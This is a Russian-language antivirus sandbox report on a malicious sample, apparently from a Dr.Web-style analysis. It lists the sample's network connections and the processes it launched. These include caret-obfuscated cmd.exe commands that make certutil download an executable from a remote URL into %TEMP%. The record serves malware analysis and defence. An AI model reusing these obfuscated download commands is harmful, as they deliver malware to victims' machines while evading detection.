Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c STaRt /b /Min ^^^C^^E^r^^^t^^^U^t^^I^^l^^^.^E^x^e /UrLcAChe ...
Сетевая активность
Подключается к
- 'vi#.#ypothes.is':443
TCP
Другие
- 'vi#.#ypothes.is':443
UDP
- DNS ASK vi#.#ypothes.is
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /S /D /c" STaRt /b /Min ^C^Er^t^Ut^I^l^.Exe /UrLcAChe -sPLiT -F https...
- '<SYSTEM32>\cmd.exe' /Start /B /MIN pinG.Exe
- '<SYSTEM32>\certutil.exe' /UrLcAChe -sPLiT -F https://via.hypothes.is/boyama.medyanef.com/vendor/hamcrest/files/phy__1__31629__2649094674__1605642612.exe %TEMP%\100rn.exe
- '<SYSTEM32>\cmd.exe' /c STaRt /b /Min ^^^C^^E^r^^^t^^^U^t^^I^^l^^^.^E^x^e /UrLcAChe ... (со скрытым окном)
